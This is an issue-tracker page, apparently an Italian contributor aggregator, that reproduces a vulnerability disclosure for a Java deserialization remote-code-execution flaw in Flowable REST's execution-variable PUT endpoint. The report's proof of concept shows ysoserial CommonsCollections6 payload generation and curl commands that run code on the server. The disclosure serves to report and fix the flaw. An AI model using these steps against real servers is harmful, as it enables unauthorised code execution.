[SECURITY] Deserialization RCE via PUT /runtime/executions/{executionId}/variables with type=serializable (CWE-502, CVSS 8.8)
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Idoneità per principianti
- 20/100
Direzione di ricerca
The vulnerability is in modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java lines 162-166, where ObjectInputStream.readObject() is called without validation. Start by examining the property 'rest.variables.allow.serializable' and the setBinaryVariable method. A fix likely involves adding an ObjectInputFilter or disabling deserialization by default. Testing requires understanding Java serialization and security patches.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Flowable REST ExecutionVariableResource PUT Deserialization RCE
Summary
In the Flowable REST module, the ExecutionVariableResource provides a PUT /runtime/executions/{executionId}/variables/{variableName} endpoint that supports uploading binary variables via multipart/form-data. When the request parameter type=serializable, the server directly feeds the user-uploaded file byte stream to java.io.ObjectInputStream.readObject() for deserialization, with no whitelist / class name validation / ObjectInputFilter. An attacker with any basicAuth credentials can construct a malicious serialized byte stream (e.g., ysoserial CommonsCollections6 gadget chain) to trigger arbitrary code execution on the Flowable server. This is triggerable under default configuration (rest.variables.allow.serializable defaults to true).
Affected Version & Commit
- Repository: https://github.com/flowable/flowable-engine
- Branch: main
- Commit: c72f39686367261f839ff1239be86d9fad10cb6f
Vulnerability Description
Trigger Location
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <-- deserialization sink
setVariable(execution, variableName, value, scope, isNew, false);
stream.close();
}
Data Flow
- HTTP PUT enters
ExecutionVariableResource.updateVariable(ExecutionVariableResource.java:98) executionIdis queried from the database viagetExecutionFromRequestWithoutAccessCheck, obtaining anExecutionobject- The request is multipart, hitting the
request instanceof MultipartHttpServletRequestbranch, callingsetBinaryVariable(request, execution, false, false) setBinaryVariableparses form parametersname/type/scope, validatestypeis onlybinaryorserializable- When
typeisserializableandisSerializableVariableAllowed == true(default), executesObjectInputStream stream = new ObjectInputStream(file.getInputStream()); Object value = stream.readObject();— the attacker-controlled file byte stream directly triggers the deserialization sink - After deserialization, calls
setVariable(...)to store the deserialized object as a runtime variable
Configuration Switch (Enabled by Default)
BaseExecutionVariableResource.java:70:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Default value is true, meaning the deserialization path is directly reachable under default configuration.
Affected Endpoints
PUT /runtime/executions/{executionId}/variables/{variableName}(port 8080, flowable-rest module)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires basicAuth regular user credentials (any registered user, no admin required) |
| Network reachability | Network reachable (HTTP REST endpoint) |
| Configuration dependency | rest.variables.allow.serializable defaults to true |
| Other prerequisites | Target executionId must exist (can enumerate via GET /runtime/executions); classpath contains CommonsCollections 3.2.2 |
Proof of Concept
Step 1: Generate ysoserial CommonsCollections6 payload
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609' > cc6_payload.ser
Step 2: Trigger deserialization via PUT multipart request
rm -f /tmp/pwned_entry_0609
curl -s -u rest-admin:test \
-X PUT \
"http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2" \
-F "file=@cc6_payload.ser" \
-F "name=evil_var2" \
-F "type=serializable" \
-F "scope=global"
Returns HTTP 200:
{
"name": "evil_var2",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2/data",
"scope": "global"
}
Step 3: Verify RCE file landed
ls -la /tmp/pwned_entry_0609
# -rw-r----- 1 root root 0 Aug 4 12:25 /tmp/pwned_entry_0609
Step 4: Second verification (different variableName)
java ... -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609_second_proof' > cc6_second.ser
curl -s -u rest-admin:test \
-X PUT \
"http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/put_rce_id" \
-F "file=@cc6_second.ser" \
-F "name=put_rce_id" \
-F "type=serializable" \
-F "scope=global"
# HTTP 200
ls -la /tmp/pwned_entry_0609_second_proof
# -rw-r----- 1 root root 0 Aug 4 12:26 /tmp/pwned_entry_0609_second_proof
Two different filenames were both created on the Flowable server filesystem, proving the deserialization chain fully triggers the CommonsCollections6 gadget at ObjectInputStream.readObject(), achieving arbitrary command execution.
Exploitation Chain Progress
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry PUT endpoint | ExecutionVariableResource.java:97-98 | ✅ Connected | HTTP 200 returns JSON |
| Multipart branch | ExecutionVariableResource.java:103-104 | ✅ Connected | request instanceof MultipartHttpServletRequest matched |
| Type validation | BaseExecutionVariableResource.java:144-147 | ✅ Bypassed | type=serializable is in whitelist |
| Deserialization sink | BaseExecutionVariableResource.java:164-165 | ✅ Triggered | ObjectInputStream.readObject() no whitelist/filter |
| Conclusion | — | ✅ Full chain closed | /tmp/pwned_entry_0609 file created, RCE successful |
Impact
An attacker with any basicAuth credentials can upload a ysoserial malicious serialized stream to the Flowable REST endpoint via a single multipart PUT request, triggering server-side RCE under default configuration. Two independent tests both successfully created files, demonstrating stable and reproducible exploitation.
Severity
CVSS v3.1: 8.8 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 (Deserialization of Untrusted Data)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
- Lingua principale
- Java
- Stelle
- 9.5k
- Fork
- 2.9k
- Merge medio
- 1h 9m
- PR unite (30g)
- 2
Preparare l'ambiente
Non abbiamo ancora controllato i file di configurazione di questo progetto. Parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di flowable/flowable-engine
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
flowable/flowable-engine#4268 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4293 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
flowable/flowable-engine#4292 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4291 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
flowable/flowable-engine#4290 ·
Tutte le issue di flowable/flowable-engine
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
I maintainer di solito rispondono entro 1 giorno
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
github/copilot-sdk#2793 ·
I maintainer di solito rispondono entro 1 giorno
-
Unify jpa4 into orm8Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
-
enhancement good first issue
Difficoltà 1/5 1-3 ore Idoneità per principianti 88/100